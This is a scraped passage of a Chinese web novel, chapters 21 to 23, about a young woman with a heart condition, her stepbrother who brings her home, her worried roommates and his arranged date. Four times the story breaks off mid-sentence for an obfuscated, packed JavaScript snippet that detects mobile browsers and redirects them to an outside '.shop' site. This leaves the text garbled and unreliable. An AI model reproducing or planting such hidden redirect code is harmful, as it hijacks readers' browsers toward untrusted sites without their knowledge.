整栋楼冷冷清清的，宿舍里也没其他人，他是真不知道她一个人怎么敢住的，学校到底没有家里安全，她一个女孩子，身体又不好，一个人呆在宿舍还是太危险了。 不行！林絮咬着唇摇了摇头，“哥，我先不回去吧……” 她一点儿都不想在家里频繁出去面试，又频繁被拒，还要告知父母是因为她的身体，即便在宿舍里、在学校她照样找不到工作，但至少她一个人颓废的时候没人看见。 她不想见任何人，不想将自己的困境和烦恼也加在父母、哥哥的身上。 周嘉先一听便站起身，站在了她的面前，这个角度他垂眸只能看见她的发顶，他叹了一口气，微微弯下腰，双手捧着她的脸颊轻轻往上抬。 果不其然，她的眼眸湿润，鼻尖微红，又长又黑的睫毛忽扇忽扇着，嘴角却抿得紧紧的，固执又惹人心疼。 周嘉先拇指指腹轻轻摩挲了她的侧脸，尽量放柔了声音，“怎么了，为什么不回家，是哥哪里惹你生气了吗？是的话，哥先给你道歉行不行？” 看着他眼底一贯的温柔和宠溺，林絮忍不住抽噎了起来，没人问，她便可以自己撑一撑，有人问了，还是她哥问的，她怎么可能忍得住不委屈。 林絮伸手握上周嘉先的手腕，看着他带着哭腔道：“不是，哥你哪里会惹我生气，就是……就是……” 周嘉先捧着她的脸，耐心地等着她说出来，“嗯？” “就是……哥，我找不到工作……他们最后都不要我，明明一开始都谈得挺好的，但是看到我的体检单子，他们就说我不合适……” 林絮脑海中浮现起这阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300862|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子她频繁面试，又频繁体检之后，那些公司的人事最后一脸恼怒又尴尬，最后怜悯地看着她时的神情画面。 “其实我不想隐瞒的，但是……哥，我觉得我身体已经好很多了，坐办公室而已，没问题的，可是……” 她的眼泪溢出眼眶顺着眼尾落在了周嘉先的掌心中，周嘉先一顿，心中不免自责起来，最近这几个月他都在忙一个大案子，不免有些忽略了她，以致于到现在才知道她一直在难过着。 周嘉先收回捧着她脸的双手，站起身将坐在桌子上的林絮拥入怀中，林絮头撞在她哥的胸前，难以抑制地呜呜呜小声哭了起来…… “哥，我是不是很没用……” “大家都找到工作了，就我没有，工资……少也不要紧，我都不在意的，没工作……我怎么办？我要做什么才好……” 周嘉先心中轻叹了一口气，轻轻拍着她的后背帮她顺着气，等她终于哭得缓和了下来时，他才轻声道：“不哭了好不好？哥慢慢跟你讲行不行，要不要听听哥的建议？” 建议？ 林絮慢慢停住了哭泣，夏季衣衫较薄，她松开揪着周嘉先衣衫的指尖，一抬眸发现他的白色衬衫胸前湿答答的，都是她的泪水，而他腰间的布料也变得皱巴巴的。 “哥……”林絮红着眼眶尴尬地望向周嘉先，等会儿他哥还上班吗？这衣服……上班应该不合适了吧…… 周嘉先低头看了一眼他自己的衣衫，林絮连忙抽了几张纸巾递给他，周嘉先苦恼地笑了笑，接过纸巾擦了擦湿润的胸前。 他重新坐回了椅子上，椅子比较矮，虽然他比坐在桌面上的林絮矮了些，却偏偏气场强大，气定神闲。 林絮抿了下唇，刚才哭了一会，现在她的喉咙已经微微疼痛，周嘉先眼眸一动，熟练地将她放在桌面上的水杯递给她，“喝点水，润润嗓子。” “嗯……”林絮捧着水杯，小口小口地喝着，水杯是纯白色的，上面印有一只黑色小狐狸的Q版形象，小狐狸的眼眸微微弯曲，像极了她哥笑起来眉眼弯弯的样子。 见林絮好受一些了，周嘉先才开口用商量的语气问道：“小絮，你要不要考虑一下继续读研呢？你很聪明，学习能力也很好，读书会是你的舒适圈。” 林絮抿了下唇：…… “……读完研究生呢？” 周嘉先试探着问道：“读博？” 林絮垂下眼帘，“那读完博呢？” 她咬着唇，几乎是认命了，低声道：“哥，我总得找工作吧？无论是读研读博，我迟早得出社会，再读下去也根本改变不了什么……我的病……” 林絮的话还未说完，周嘉先打断道：“谁说你必须出社会必须找工作，小絮，这根本就不是必要走的路。” 林絮愣了下，“啊？” 她读了那么多年的书、考好成绩，上好大学不就是为了以后好找工作，不找工作，那她读了那么多年的书做什么？ 大家都是这样的，读书工作上班…… “哥是这么觉得的，既然暂时找不到工作，也暂时没有其他的目标，那继续读书总不会是错的吧？再者……”周嘉先露出一言难尽的神情，道：“难道你很喜欢上班？” 林絮顿了下，喃喃道：“我不知道，但是我不找工作不赚钱，那这些年读书的书不是浪费了吗？” “怎么会呢？读书不是为了赚钱，至少现在在哥眼里，你可以有别的选择。有些人工作是为了赚钱，为了生存下去，但小絮你没必要啊，家里哥赚钱就可以了，你完全可以做你喜欢的事，不必苛求自己和别人一样去上班。”周嘉先笑着温声道。 “可是……可是……”林絮支支吾吾地，一时间竟然找不出话来反驳。 “哥不需要你用自己的知识去变现，想学什么就去学，不需要以赚钱为目的，单单只要你感兴趣就行，就算半途而废也不要紧，只要在这个过程中小絮你开心就足够了。” 他希望她能肆意张扬，完全顺着心意去成长、生活，不必为世俗的成见焦灼、伤心。 林絮红着眼眶忍不住笑出来，“哥，那我要是一边学一边放弃呢？也可以吗？什么都没得到……一事无成。” 周嘉先笑着调侃道，“怎么会？你不是学会放弃了吗？怎么叫一事无成呢，意识到自己不适合什么不也是一种收获吗？” “哥……”林絮又气又想笑，“你的底线也太低了吧？你不是资本家老板吗？” 周嘉先忍俊不禁，摆手澄清道，“啊……我也只是对你没有底线吧？” …… 21. 第 21 章 - 林絮因为是京照本地人，所以放在宿舍内的东西并没有很多，周嘉先给她冲了杯蜂蜜水之后让她坐在椅子上先休息着，他则打开了行李箱开始帮她收拾东西。 被子、枕头、床单都叠好收进了被子收纳袋里，衣服一摞摞地放进行李箱，桌面上的东西也收好整理放在收纳透明柜子里。 “小絮，哥收拾好了，我们现在回家吧？”周嘉先摸了摸她的发顶，笑着道。 “……嗯。”林絮缓缓点头。 与此同时，宿舍门外忽然几道脚步声，接着是宿舍门被打开的声音，周嘉先、林絮下意识侧首看过去，出现在门外的是朱玲玲、陈瑶、魏桔！ 呃—— 朱玲玲三人愣了下，心中第一时间惊疑不定，然过了几秒后，她们的视线这才转移到林絮的脸上。 哦！眼前这个身形高大的男人应该是林絮的哥哥。 林絮顿了片刻后，才惊讶地笑着道：“玲玲、陈瑶、魏桔你们怎么回来了？” 周嘉先微笑着朝她们点点头以示打招呼，朱玲玲几人也笑着点了点头。 陈瑶眼神微闪，道：“刚好今天我们三都轮休，所以想着回学校来看看你。” 其实是昨天晚上辅导员都给她们三人打了电话，询问林絮怎么还一个人住在宿舍里。辅导员不好意思专门给林絮打电话，免得听起来好像是在赶她离开学校宿舍一样。 而她们仨这才知道原来林絮自己一个人还住在学校宿舍，她明明平日里一放假就赶紧回家的，她们也没想到放假这么久了，她居然反而没回家。 魏桔附和道：“是啊。”她视线落在已经收拾好的行李上，试探着问道：“林絮，你要搬回家了吗？” 朱玲玲三人齐刷刷地看着她，林絮笑着点了点头，“嗯，我哥来接我回家了……” 朱玲玲、陈瑶、魏桔三人目光似有若无地看了对方几眼，难道是林絮之前和她哥吵架了，所以才不回家的？如果是这样，那现在她哥来接她了，应该就没事了吧？ 刚踏入社会的大学生脸上还不会藏事，站在一旁微笑着听她们讲话的周嘉先心底闪过了然，这几个孩子大概是担心他妹妹所以专门回来一趟的。 周嘉先往前一步，笑着道：“你们好，这些年我们家小絮麻烦你们照顾了，非常感谢。” 朱玲玲、魏桔、陈瑶连忙摆摆手，“没有没有，我们都是朋友，互相照顾是应该的。” 周嘉先笑着，“今天你们是轮休，不用上班对吧，我请你们喝咖啡？” 这个点吃晚饭实在是太早了，对不上三餐的时间，但不请对面那三个女孩子，他又觉得不好，这些年她们肯定多多少少都迁就他家妹妹了，更别说今天因为担心他妹妹就直接三人都请了假回来看她。 话刚说出口，周嘉先眼里闪过一丝懊悔，改口道：“啊，还是喝奶茶？” 陈瑶、魏桔正想拒绝，朱玲玲忽然道：“好啊！学校好像就新开了一家奶茶店，在学校里就好……” 于是周嘉先一手提着被子收纳袋、一手提着行李箱，还有个小小的透明盒收纳柜由林絮抱着，几人走下了楼梯先将行李放在了后备箱里，接着便走路去了学校新开的奶茶店。 新开的奶茶店离14栋并不算很远，校道两旁都是茂盛得仿佛遮天蔽日般的榕树，徐徐的清风从不远处的湖面吹过来，空气中的燥热被驱赶了一些，唯留下让人心旷神怡的夏日气息。 正值学生上课时间段，因此奶茶店里没几个人，周嘉先将菜单递给朱玲玲三人，朱玲玲三人商量着点了单，周嘉先这才将菜单接过，他瞥了几眼，顺手勾了两下，给自己和林絮点了单。 朱玲玲眸光闪烁，视线隐晦地掠过对面的林絮和周嘉先，她心里有很不好的想法，但……再看看吧，她再看看…… 服务员将他们点的奶茶上齐，周嘉先给林絮点的是一碗洒着芒果果肉的双皮奶，还是温的，林絮自然地接过周嘉先递给她的勺子一勺一勺地吃着。 期间陈瑶、魏桔和周嘉先讲着话，朱玲玲大多数沉默地听着，视线隐晦地观察着，明明周嘉先在讲着话，可仿佛他的余光一直在看着林絮一般。 当林絮嘴边沾上一点点微白的双皮奶，周嘉先边说着话，边抽了张纸给她，林絮没有接过，下意识凑过去，而周嘉先则自然地帮她把嘴上的双皮奶擦去，林絮神情自然地继续吃着，并没有意识到有什么不妥。 朱玲玲正想眼神暗示身旁的小姐妹，可偏偏这对兄妹之间下意识的互动自然到速度太快，陈瑶、魏桔又听着周嘉先的社会经验听到眼神发亮，根本没注意到她的反应。 朱玲玲仿佛听到自己的心脏砰砰砰地跳着，太诡异了，太不正常了，这熟练自然的亲昵样子，兄妹之间真的会存在吗？ 林絮吃完双皮奶之后忽然头一抬，对上了朱玲玲复杂的眼神，她心一跳，下意识扯出个微笑的表情来。 朱玲玲顿了下，到底也还是朝她笑了笑，还问道：“双皮奶好吃吗？我看这家的双皮奶不像其他家做的那么白，有点泛黄，是不是鸡蛋的味道比较重啊？” 林絮提着的心松了下来，笑着道：“还不错，这家的双皮奶的奶味和鸡蛋味都很香……” 周嘉先侧首看着她眼眸中的笑意，笑了笑，温声道：“那等下再打包一份？” “两份！”林絮抬起脸笑意盈盈。 “不行哦，只能一份。”周嘉先竖起食指摇了摇，心里盘算着有空他自己可以琢磨一下双皮奶怎么做，外面吃的到底会有食品添加剂吧？ “那好吧，一份就一份。”林絮撇了撇嘴，周嘉先忍俊不禁地摸了摸她的发顶。 明明是最自然而不过的对话和肢体触碰，但朱玲玲看着浑身就是不得劲儿。 林絮吃完后，朱玲玲忽然道：“这个月月底我们就要拍毕业照了，其实留在学校到时候拍照也比较方便。” 魏桔&陈瑶：？？？ 两人一时间不知道朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311220|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玲玲为什么突然这么说，但出于朋友间的默契倒也没有拆台。 林絮笑着道：“没关系，反正我家离学校也不算远啊，到时候再回来就是了，而且我回家准备考研会比较好一些。” 考研？ 朱玲玲、魏桔、陈瑶惊讶道：“你要考研？” 林絮点头，“嗯，我哥建议的，我想了一下其实也可以，上次你们不是说我们专业本科出去根本没活路吗？既然这样我就继续读吧。” 朱玲玲撇了周嘉先一眼，又是她哥建议的…… 陈瑶、魏桔附和道：“听着也不错，那你好好加油啊！” 林絮的学习成绩一向很好，她们俩之前也考虑过要不要考研，但到底不愿意再经历像高考那样压力式的考试，所以也就放弃了，林絮去考研的话，对她来说反而比较适合，读书一直都是她的强项。 …… “那我先走了，拜拜。”林絮摇下车窗朝舍友挥手再见。 等周嘉先的车子消失在眼前时，陈瑶这才皱起眉头，“玲玲，你怎么回事？” “是啊，我怎么感觉你怪怪的，明明我们回来就是想劝林絮回家的，怎么你刚刚又……”魏桔眼神狐疑地看着她。 朱玲玲打断道：“回宿舍再说。” 14栋宿舍楼虽然现在住的学生越来越少，但整栋楼电力的运行还是照常的，因此即便没什么人，宿舍内空调还是能够照常打开的。 空调风呼呼吹着，带来沁凉的冷气。 陈瑶听完朱玲玲的话后，眼睛瞪得像铜铃一样，不可置信道：“不可能吧，他们不是兄妹吗？可能就是关系好了那么一些？” 魏桔思考着，边道：“好像真的比较亲昵……” 朱玲玲面色忧虑，“其实我最担心的是，会不会是林絮她哥一直pua她啊，他是成功人士，阅历丰富，年纪又比林絮大，林絮因为心脏病本身就比较依赖她哥，要是她哥真的心怀不轨，那林絮怎么办啊？” 陈瑶气得拍了一下桌面，“有道理，会不会他故意把林絮养成依赖着他的菟丝花啊，每天晚上的电话，还有……还有……今天还建议林絮去读研，会不会就是怕她出了社会，思想慢慢成熟了，然后意识到他的鬼心思，所以干脆就直接掐断了这种可能！” “那怎么办？”魏桔慌了，“我们几个说到底只是舍友、朋友，而林絮和她哥是亲兄妹啊！关系孰远孰近一目了然，她估计不会听我们的吧？” “所以我刚才就想着要是能让林絮暂时住在宿舍，我们和她好好说说，看看她怎么想的。”朱玲玲说完叹了口气。 怎么办？朱玲玲三人面面相觑，怎么也想不到法子，林絮现在已经在她哥的眼皮底子下了，她们还真不敢轻举妄动。 陈瑶猛地一下子站起来，气势汹汹道：“不行，就算我们现在做不了什么，至少……至少应该旁敲侧击一下提醒林絮吧！” “是！我同意！”魏桔点头附和。 …… 22. 第 22 章 - 有些奇怪啊！ 林絮瞥了一眼宿舍群里的消息，朱玲玲、魏桔、陈瑶这几天总是在宿舍群里分享一些链接，什么“惊！原来无时不刻的关怀也有可能暗藏不法心思”、“男女之间最合适的距离”、“警惕以下这几种形式的pua”等等。 她们分享这些链接就算了，还次次艾特她，让她好好看完，还问她看了这些链接里的内容后有没有什么心得体会。 林絮：？？？ “叩叩叩——”门被敲响的声音。 林絮起身走过去打开了房门，门外站着她爸林浩，“小絮……爸现在去上班了，你在家里复习要认真点，但也别太累了，知道吗？” “嗯，我知道的，爸，你放心吧。”林絮笑着点了点头。 她已经回家好几天了，回家的时候也顺便告知了她爸和阿姨，说她要复习考研，继续读书。 当时林浩一听就皱起了眉头，“你哥都是本科出来就找工作，现在工作也很不错，读研究生的话又要好几年才能出来赚钱。有读书的功夫还不如用这段时间来工作赚钱呢。” 林絮抿了下唇，是她不想工作吗？是她根本没资格工作。 林浩瞥了一眼身旁的周嘉先和柳垂影，对女儿说这些话他心里也不好受，但毕竟是重组家庭，总不能厚此薄彼吧，嘉先都是本科后就出来工作，要是他女儿就可以继续毫无压力地上学，嘉先和垂影心里又会怎么想！ “爸，别这么说，家里又不缺人赚钱，再说了，读书也花不了几个钱。我是哥哥，小絮的学费和生活费我会负责的，您就别担心了。”周嘉先说道，他是真不觉得有什么，现在他接一个案子，费用都很可观，完全不需要考虑钱的事情。 “那不行，怎么能让你出钱。你得攒钱装修房子，结婚娶老婆呢！”林浩摆手拒绝了，他女儿的学费生活费当然得他来出，他只是害怕这孩子心里不平衡而已。 彼时的林絮：…… 她哥已经买好了房子，现在就差装修而已，要是以后他结婚的话，应该就会从老房子搬出去了吧？ 周嘉先忍俊不禁，“爸，你说得太远了，我现在都还没女朋友呢。” “好了好了，考研就考研吧，女孩子多读书总是好的。”柳垂影笑着道，她看得出来丈夫的顾虑，但这属实没必要，她的儿子足够优秀，所以她根本不计较这一点。 一家人都赞同她继续读书，因此接下来这一年她都会在家里好好复习着，争取一次上岸。 林浩走后，林絮继续看书，大气科学专业主要考四门，分别是思想政治理论、英语、数学、再加上大气物理学。 好在她平时的学习成绩就不错，因此学习起来也没有感觉太超纲，难以理解，反倒是舍友时不时发给她的信息才让她无比困惑。 * 下午五点多。 林絮听到有人开门的声音便走出房间，见是她哥周嘉先下班回来了，她高兴地小跑过去，“哥，你下班啦？” “嗯，下班了。”周嘉先伸手轻轻将她凑过来的脸推开，道：“离远点儿，我今天一直在外面跑，还去了趟工地，身上灰尘太多了。” “哦！”林絮嘟嘟囔囔道，她看着她哥周嘉先找了短袖短裤的家居服进了卫生间。 老房子隔音就是差，淅淅沥沥的水声仿佛萦绕在她的耳边，林絮坐在单人沙发的扶手上，双腿一晃一晃地，她微微侧首，仿佛从磨砂的玻璃门上看到了人影似的。 她知道这其实是错觉，但脑海中黄色废料还是隐隐约约地浮现起来。 林絮只觉得头顶都要冒烟了，她双掌捂住脸颊，闭上眼企图将那些黄色废料甩到脑后，好半响她才恢复平静。 卫生间的门咔哒一声被拧开了，林絮闻声下意识抬眸望过去。 许是夏日天气闷热，周嘉先洗完澡出来，只穿着一件宽松的家居短裤，头发湿润，他拿着白色的毛巾正一边擦着头发一边走出来，发丝上垂落的水珠顺着从肩上、胸膛上滑过，再沁入小腹处裤子的松紧带上，晕开小部分的湿润。 林絮抿了下唇，心脏砰砰直跳，她立刻收回视线，浑身僵硬地坐在沙发的扶手上。平日里他哥要不西装革履，要不就是穿着整套的家居服，这是她成年后第一次撞见他没穿上衣就走出来…… 喉咙间又干又哑，她垂着头仿佛认真地玩着手指头。 浴室里水蒸气太浓重了，周嘉先嫌弃温度太高，穿了短裤直接走出来，才刚走两步，便看见自家妹妹坐在沙发的扶手上揪着手指头发呆一样。 他擦头发的手一顿，“这是怎么了？” 周嘉先走过去，轻轻拍了拍她的发顶，又道：“是饿了吗？那等会儿哥就做饭了。” 她坐着，他站着，她一抬眸就能看见他白皙又精瘦的腰身，腹肌线分明地呈现在眼前，她克制着指尖的蠢蠢欲动。 “怎么不说话？”周嘉先温声道。 她心中上演着兵荒马乱，然而眼前的现实却叫她不能露出半分异样，林絮眨了眨眼，夺过周嘉先手中微湿的毛巾，道：“哥，你头发还滴水呢，我帮你擦擦吧……” 她紧紧揪着毛巾，扯着笑脸看着他。 周嘉先闻言笑了下，想起他刚刚动手揉她发顶的事，“行啊！” 他坐在单人沙发上，林絮调整了一下坐姿，手上拿着毛巾一下又一下地揉着他的发梢，就像每次他揉她发顶一样。 手底下的发丝浓密黝黑，但到底还是短发，林絮动作再慢也擦得差不多干了。 “好了，哥。”林絮表面神情淡然。 周嘉先接过她手中的毛巾，笑着道：“谢谢小絮。” 林絮眼神闪躲，嘟嘟囔囔道：“这有什么需要谢的……” 周嘉先习惯性地拍了拍她的发顶，“好了，哥去做饭了。” “哦……” 听着厨房内洗菜切菜的声音，林絮垂着头神情失落，阳台外是漫天的黄霞，她的心却如同瞬间坠落黑夜，说不得、奢望不得……世俗之见哪里是那么容易打破的，即便他们之间没有血缘关系，她胆怯却又忍不住奢望…… 再说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321383|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他大概从来没有想过她会对他抱着这样的想法吧…… * 林浩、柳垂影下了班，晚上一家人难得聚在一起吃饭。 饭后，柳垂影忽然拿出手机，指着屏幕上的微信二维码截图，笑着道，“嘉先啊，这是我们科室赵主任家的女儿，和你年龄差不多，你加一下她，年轻人多多接触一下，妈见过这个女孩子，人很不错。” 林絮刷着手机的指尖一顿，阿姨这是给哥相亲吗？她偷偷看向身旁的周嘉先，心里祈祷着不要不要，不要加！ “妈……”周嘉先无奈地笑着，“我都不知道对方的名字，也没见过，这也太盲婚哑嫁了吧？妈，是不是太直接了啊？” “不知道不就正好，你自己问。再说了，只是先接触接触而已。我都和赵主任说了，你就先加上。” “好好好……”周嘉先无奈妥协。 手机微信扫描成功后“滴”的一声，林絮紧紧抿着唇，一言不发地起身往房间内跑去。 身后，林浩的声音隐隐约约传来，“她这又是怎么了，怎么忽然甩脸色了？” 林絮砰的一下将房门关上了，趴在床上将头埋在枕头上，眼眶泪水瞬间溢出了，不是早就知道他将来会谈恋爱、会结婚生子了吗？为什么还这么难过，为什么还是接受不了呢？ 白色的床单一角被她揪成一团，低低的呜咽声压抑在喉咙间。 客厅里，柳垂影、林浩、周嘉先面面相觑，林浩额头上青筋直跳，低声训斥，“都这么大了，还闹小孩子脾气，怎么越长大越不懂事了，小时候多乖啊！” 柳垂影安抚道：“算了，别说小絮了，可能是学习压力大吧。你别去凶她。” “我……真的是！唉，越大越不懂她在想什么！” 周嘉先担忧地看了一眼紧闭的房门，“爸妈，你们早点休息吧，我去看看小絮。” 林浩连忙道：“行，平日里你们兄妹关系最好，她不愿意和我说的，说不定肯和你说。” “嗯……” - 林浩、柳垂影出门散步，顺道准备去附近的超市买些肉和菜，两人相伴着出了门。 周嘉先站在林絮的房门口轻轻敲了敲房门，压低声音道：“小絮，是哥哥，开一下门行吗？” 林絮慌忙擦了擦眼泪，坐起身来，她看向左边梳妆台上的镜子，镜子里的她眼眶、鼻子红彤彤的，一看就是哭过的样子。 要是她哥问她为什么哭，她根本没有好的借口，难道要实话实话吗，不……她不敢。 “哥，有什么事吗？没什么事的话明天再说吧，我要睡了。”林絮吸了吸鼻子，努力让声音正常起来。 周嘉先：…… “才八点，你就要睡了？” 林絮喊了一声，“对，要睡了。”她啪地一下将房间内的灯光关掉。 周嘉先看着门缝下忽然的黑暗，苦恼地拧了拧眉心，是真的在闹脾气了啊？算了……既然现在她不想说，那就明天吧，明天再问了，正好明天是周六，要不带她出门散散心？ 23. 第 23 章 - 医院上班是没有所谓的周六日双休的，都是轮班制，所以林浩和柳垂影周六也得正常上班。 临出门前，柳垂影朝周嘉先道：“嘉先，你今天不上班吧？” “不上班。妈，怎么了？” 柳垂影：“我昨晚和赵主任说了，今天帮你和赵雅约了见面的时间地点，我等会儿发你微信，你记得去啊！” 周嘉先：？ “不是，妈，我昨晚是加了微信，但我们都还没说过话，这不合适吧？” 柳垂影一边换鞋一边道：“有什么不合适的，别磨磨唧唧的，等你自己找女朋友我都不知道得等到什么时候，赵雅那女孩子不错，第一见面可别迟到了啊！行了，我去上班了。” 林浩也笑了笑，“记得准时去。” 周嘉先伸手捂脸，无奈道：“好吧，我知道了。我会去的，你们放心吧。” 虽然对相亲这事没那么有兴趣，但也不至于很排斥，他的年纪也差不多了，事业也步入正轨，正是谈对象的合适时间。既然父母都觉得那个女孩子不错，那他也可以去看看…… 悄悄开着门缝偷听到对话的林絮心里泛起一阵又一阵的酸楚，她将房门悄无声息地关上，背靠着房门身体慢慢滑下来，靠坐在门后面。 一晚上的转辗难眠，她说服了自己无数次，好不容易在天亮前终于得伪装得像往日那般平静，却没想到他们现在就要见面了…… 林絮双臂垫在膝盖上，额头靠在手臂上默默垂泪。 一门之隔的房门外，周嘉先轻轻敲了敲房门，压低声音道：“小絮？小絮，你起床没？” 平日里这个点她早就起床了，今天是怎么回事？难道还在生昨晚的气？不过……昨晚她在生什么气？ 周嘉先啧了一声，很是苦恼，哎，要怎么办呢？ “小絮，再生气也得应一下哥行吗？不然我担心你发生什么事了。” 林絮抿了下唇，将眼泪擦干，装出一副被打扰刚睡醒的声音，“好吵啊，哥，我还在睡觉，你别吵我……” 周嘉先认真辨认了一下她的声音，有点瓮里翁气的，看来还真是刚睡醒，“行，那你继续睡吧，早餐我放在锅里温着了，起床记得吃啊，我有事出去一趟。” 有事出去一趟？ 林絮烦躁不已，所谓的有事就是去相亲！她硬气道：“知道了，别吵我。” 门外的周嘉先笑了笑，语气听起来中气十足的样子，看来状态应该挺好的，他也就放心了。为了避免再吵到她，她真要生气了，他没再开口，换了衣服之后轻轻开了门出去了。 耳边安安静静的，林絮再怎么竖起耳朵都没听到一丝声响，她这才意识到她哥周嘉先已经出门去相亲了。 泪水哗地一下落了下来，她气得扑在床上，一下又一下地捶着床垫。好半响她终于捶累了，一个翻身平躺在床上，脸色煞白、眼眶微肿。 周嘉先……周嘉先！ 哥……她低声呢喃，心如死灰般。 * 五月，京照市道路两旁的榕树遮天蔽日般向上向旁狰狞着生长，洒在一整片绵延的阴凉。 柳垂影发给周嘉先的地址离家并不远，开车大概半个小时就到了，周嘉先在约定的时间前十五分钟就到达了约定的地点——“一杯咖啡店”。 他推开店门，扑面而来的是空调的冷气，冷气将缠绕在身上的燥热驱散，周嘉先微皱着的眉头也舒展开来。 室内浓郁的咖啡香气缭绕，他看了一眼室内的装修便坐在了窗边的位置上。 前台的服务人员朝他喊了一声，“您好，可以桌上扫码点单哦……” 周嘉先微笑着点点头，“稍等一会，约了人。” “好的。” 几分钟后，穿着白色缎面连衣裙的女人推开了咖啡店的门，赵雅目光在店内掠过，只有窗户边上坐着一个背对着她的男人，应该就是他了吧？ “你好，是周先生吗？”赵雅走过去，硬着头皮道。她一点儿也不想相亲，但是无奈自家老母亲实在是太强势了。 周嘉先闻声抬头，露出微笑，他站起身伸出手，“你好，我是周嘉先，您是赵小姐吧？” 两人握了下手后纷纷坐下，周嘉先将扫描出来的菜单递给对方，“赵小姐，这是菜单。”他做了个“您先”的手势。 赵雅礼貌地笑着，指尖在手机屏幕上划了两下，便选好了一份“生椰拿铁”，周嘉先指尖触碰了一下屏幕，很快就点好了单。 点单完毕，气氛一时间凝滞，周嘉先抿着唇笑了笑，决定还是先从职业、爱好了解起来比较好。 他正欲开口时，赵雅忽然眼眸睁大片刻，这……这个男人！难怪她越看越眼熟，这不就是去年冬天让她大赚了一笔的男人吗？ 周嘉先脱口而出的话忽然改了，“赵小姐以前见过我？” 赵雅噎了一下，“你怎么这么问？”他肯定没记起她来，但是或许是刚刚她的反应？这人这么敏锐的吗？ 周嘉先笑了一下，“我是做律师的，所以观察能力还行。” 啊，律师啊……那应该就算正常了，赵雅心道，她看着对方道：“嗯，我去年冬天见过你一次，我是开花店的。” 她这么一说，周嘉先立刻想起来了，毕竟他没有女朋友，亲自去买花的事也只有去年给家里妹妹买花那一次，“你是花店的店主？” “嗯……”赵雅笑了笑，“托你的福，我在去年冬天赚到了一大笔钱呢！” 周嘉先：？？？ 赵雅笑着说她复刻了他选花的搭配去卖，结果反响特别好。 “原来是这样啊……”周嘉先忍俊不禁，他喝了一口咖啡后，忽然道：“我还以为赵主任是医生，你应该也是医生呢？” “我不适合当医生。” 看出赵雅不想过多地说这个话题，周嘉先便自然而然地转移了话题，说起了旁的事情，他作为律师，察言观色、善于交流，赵雅本身也是个健谈的人，很快两人就相谈甚欢。 赵雅原本只是想着忍一忍、应付一下自家老妈的，因为这年头谁相亲还没遇见过几个奇葩，她也是遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14330231|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了过好几次的，奈何她妈就是乐此不疲的。 但……这次是周嘉先，老实说她对他的观感很不错，这么多次她妈终于靠谱了一次啊，事业可以说是同龄人远远达不到的程度，为人又风趣幽默温柔，长相身材更是不用挑了，可是这样优秀的人怎么会来相亲呢？现实生活中应该有不少的女人会喜欢他的。 赵雅这么想着，也这么问了，“你怎么会来相亲呢？按理说你这样的条件大把的女孩子会喜欢你吧？” 周嘉先笑了笑，将对方的话权当是夸奖了，他认真想了想，道：“赵小姐也很优秀，各方面条件都不错，嗯……你怎么选择来相亲的，我就是怎么选择的。” 赵雅噗嗤一声笑了出来，可真有意思，原来对方也和她一样被家里人逼的吧…… “不过，相亲也并非完全不好，至少我这第一次相亲就感觉还不错。”周嘉先笑得眉眼温和。 赵雅一听，尴尬又羞涩地笑了笑，他的意思是觉得她很不错吗？他这是有意向进一步认识、了解对方吗？ “那你是碰上了我，先不说我优不优秀，至少我是个正常人吧，我跟你说啊我前几次……”她忍不住滔滔不绝地数落了前几次相亲对象的奇葩脑回路。 好半响，她说着说着忽然反应过来了，她这是不打自招向对方说起自己曾经相亲了好多好多次吗？他会不会介意这一点啊，觉得她在货比三家啊！ “不好意思，我好像太自言自语了。”赵雅尴尬道。 周嘉先笑着摇头，“怎么会，我倒是觉得听着还挺有意思的。” 赵雅对他的观感更加好了，临别时，她看着周嘉先打包了一份应该不属于他口味的芒果双皮奶时很是诧异，因为他刚刚喝的是比较苦的美式咖啡。 周嘉先笑了笑，解释道：“这是给家里妹妹打包的。” 赵雅来赴约之前，她妈大概讲了周嘉先的家庭结构，也知道他有个继妹，但没想到他和他继妹关系居然还不错，毕竟重组家庭也经常会出现孩子不合的现象。 